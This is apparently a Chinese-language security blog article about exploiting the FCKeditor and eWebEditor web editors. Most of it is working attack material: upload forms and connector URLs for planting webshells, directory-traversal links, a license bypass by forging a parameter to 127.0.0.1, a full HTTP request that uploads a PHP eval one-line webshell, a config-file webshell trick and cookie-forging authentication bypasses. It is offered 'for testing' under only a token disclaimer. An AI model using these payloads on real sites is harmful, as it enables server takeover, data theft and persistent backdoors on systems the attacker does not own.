文章插圖

文章插圖
導讀:從中國互聯網興起,網站迅速發展,從最開始的企業站到個人站點,從最初的靜態站到數據交互的動態網站,WEB安全不斷地引起重視,而在WEB安全中,前端的編輯器更是安全的焦點,因為編輯器包含了文字、圖片、附件等上傳功能,如果在過濾中稍有不慎,便等同于將整個WEB權限拱手相讓 。從動態WEB發展初期到現在,編輯器漏洞一直以來都是層出不窮,小君首先列舉一些最為出名的編輯器漏洞看看它們的漏洞危害度 。
提起FCKeditor作為WEB開發的童鞋是無人不知無人不曉,FCK是這個編輯器作者的名字Frederico Caldeira Knabben的縮寫,是一個專門使用在網頁上屬于開放源代碼的所見即所得文字編輯器 。它致力于輕量化,不需要太復雜的安裝步驟即可使用 。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的編程語言相結合,使用度極其高 。
FCKeditor可以通過FCKeditor/_whatsnew.html 查看現在所使用的版本,如果版本是2.2,Apache+linux 環境下在上傳文件后面加個.來繞過文件驗證上傳WEBSHELL 。
PHP的FCK版本<=2.4.2 在處理上傳的地方并未對Media 類型進行上傳文件類型的控制,導致用戶上傳WEBSHELL,測試代碼:
<form id="frmUpload" enctype="multipart/form-data"action="http://www.itgeeker.cn/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"method="post">漏洞測試上傳任意文件:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="http://www.mnbkw.com/jxjc/186792/Upload"></form>FCK版本=4.1版本提交WEBSHELL.php+空格可繞過對其后綴的檢測 。突破建立文件夾漏洞,利用解析漏洞利用,代碼測試:
FCKeditor/editor/filemanager/connectors/php/connector.php?Command=CreateFolder&Type=Image&CurrentFolder=%2FWEBSHELL.php&NewFolderName=z&uuid=1254789325665FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=WEBSHELL.php1、修改CurrentFolder 參數使用 ../../來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.aspFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F本期我們著重地講解一下eWebEditor,當我打開它的官方網站時瞬間驚呆了,感覺一下子回到了10年前的感覺,整個網站仍然使用了ASP開發,界面也是10年前的常用布局 。
ewebeditor首頁
官方介紹:eWebEditor是一個基于瀏覽器的在線HTML編輯器,WEB開發人員可以用她把傳統的多行文本輸入框<textarea>替換為可視化的富文本輸入框 。eWebEditor主功能不需要在客戶端安裝任何的組件或控件,操作人員就可以以直覺、易用的界面創建和發布網頁內容 。編輯器界面
您可以通過eWebEditor自帶的可視配置工具,對eWebEditor進行完全的配置 。
eWebEditor是非常容易與您現有的系統集成,簡單到您只需要一行代碼就可以完成eWebEditor的調用 。
您可以把eWebEditor應用于各種基于網頁的應用系統中,如內容管理系統、郵件系統、論壇系統、新聞發布系統,等與內容發布相關的所有應用系統 。
看到這個界面是不是特別的熟悉,目前市場上的大多數CMS仍然使用eWebEditor 。
授權的后臺
目前eWebEditor開始授權使用,購買授權之后可以通過其后臺進行修改后綴等,也就形成了上傳WEBSHELL的通道,而目前非常多的使用者并未進行授權,那么如何獲取WEBSHELL呢?
未授權的后臺
未授權的eWebEditor在樣式管理、上傳管理都是不可用的狀態,所以之前的漏洞是無法使用的,那我們如何去繞過呢?看小君的演示:
eWebEditor為了方便開發者在本地進行測試,并未對127.0.0.1或localhost進行必要授權使用,也就是說如果你使用域名訪問未授權后臺,是沒有權限進行修改配置,但是如果你使用127.0.0.1或是localhost本地測試則是可以的 。
本地測試
本地測試可以修改
【編程漏洞是什么 漏洞利用原理】我們現在進行代碼審計,看下它是如何對localhost、127.0.0.1和域名訪問產生不同效果的代碼段 。
經過我們的查找發現在ewebeditor/php/i.php文件中的CheckLicense函數中,在檢查授權信息時,先判斷當前域名是否是127.0.0.1或者localhost,如果是的話,就直接返回true,不再進一步驗證授權是否有效 。
代碼段
既然知道問題出在這那我們就想辦法去偽造繞過,讓后臺的配置功能可以正常地使用 。
我們在登錄ewebeditor后臺時,使用Burp攔截數據,可以看到有個請求參數h的值為當前的域名或IP 。
數據攔截
我們將這個h值進行偽造成127.0.0.1提交測試:
后臺配置正常使用
然后我們找到一個樣式表進行配置上傳后綴的修改,添加一個php后綴,即可上傳WEBSHELL 。
添加后綴
為了方便測試,直接把exp發布出來提供給大家,請勿非法攻擊,僅供測試!
這代碼中已經包含了一個一句話木馬,如果你覺得不免殺的話,可以看小君之前的文章,里面有免殺的提供使用 。
POST /htmledit/php/upload.php?action=save&type=image&style=standard650&cusdir=&skey= HTTP/1.1Host: just.for.testContent-Length: 464Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://just.for.testContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryq6hGwZDfJoQ7dmXyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.51Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://just.for.test/htmledit/dialog/img.htmAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close------WebKitFormBoundaryq6hGwZDfJoQ7dmXyContent-Disposition: form-data; name="MAX_FILE_SIZE"102400------WebKitFormBoundaryq6hGwZDfJoQ7dmXyContent-Disposition: form-data; name="uploadfile"; filename="php_eval.php"Content-Type: image/jpeg<?php @eval($_POST['password']);?>------WebKitFormBoundaryq6hGwZDfJoQ7dmXyContent-Disposition: form-data; name="originalfile"C:fakepathphp_eval.php------WebKitFormBoundaryq6hGwZDfJoQ7dmXy--上傳成功:上傳成功
以上是目前eWebEditor最新的漏洞方式,現在我們還是盤點一下eWebEditor曾經最火的漏洞 。
數據庫下載
ewebeditor編輯器默認的數據庫路徑db/ewebeditor.mdb,可以直接下載,如果有后臺界面的話直接將MD5密碼破解登陸,但大部分時候滲透者通過該方法成功獲取權限之后,都會將后臺登陸頁面login.php、admin_login.php、admin.php刪除,那么我們就可以下載該數據庫找到之前的滲透者在那個樣式表中修改添加像asa、asp、aspx、php、cer等后綴,然后通過URL構造editor.html進行直接上傳eWebEditor 。
<form action=”http://www.itgeeker.cn/editor/upload.asp?action=save&type=&style=樣式名” method=post name=myformenctype=”multipart/form-data”><input type=file name=uploadfile size=1 style=”width:100%”><input type=submit value=http://www.mnbkw.com/jxjc/186792/”上傳測試”>配置文件插馬eWebEditor=>2.8 商業版后臺一句話木馬利用,登陸后臺,點擊改動password—新password設置中填寫自己的一句話木馬,設置成功提交后,訪問配置文件asp/config.asp文件就可以,一句話木馬被寫入到這個文件中面了 。
文件夾遍歷漏洞
正如我在文章的開頭寫的FCKeditor編輯器的文件遍歷漏洞一樣,eWebEditor也同樣存在該漏洞,文件夾遍歷漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本號的是ewebeditor/admin/upload.asp 文件,我們可以構造連接:
webeditor/admin_uploadfile.asp?id=14&dir=../../../../對WEB進行目錄的遍歷,同樣有遍歷漏洞的代碼有:http://www.itgeeker.cn/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin后臺繞過認證登陸訪問后臺登陸頁面!隨便輸入帳號密碼返回登陸錯誤后清空瀏覽器,在地址欄輸入
javascript:alert(document.cookie="adminuser="+escape("admin"));javascript:alert(document.cookie="adminpass="+escape("admin"));javascript:alert(document.cookie="admindj="+escape("1"));然后清空地址欄,在路徑里輸入后臺登陸后的頁面,比方: admin_default.asp、admin/default.asp等便可直接進入后臺,這已經是非常老的漏洞了,僅供大家測試使用 。結語:
由于編輯器是打通前端與后端數據交互必不可少的工具之一,我們更應該重視其安全,并不是只重視后端的邏輯安全 。感謝閱讀本期文章,更多安全知識歡迎關注極客小君頭條號,我們下期再見!
- 概念設計大學專業 設計概論是什么專業
- 蒸豬腳的做法是什么?
- 羊肚的煮法是什么呢?
- 油菜花,油菜花開的季節 油菜花是什么季節開的
- 怎樣自學編程入門 編程入門自學軟件
- evernote是什么軟件做什么的 evernote有什么用
- 音頻質量kbps是什么意思 音質kbps區別
- 手機云存儲空間是什么意思 升級云存儲空間是什么意思
- 360安全瀏覽器是什么內核 360極速瀏覽器基于什么內核
- 網域名稱是什么意思 域名是指什么?
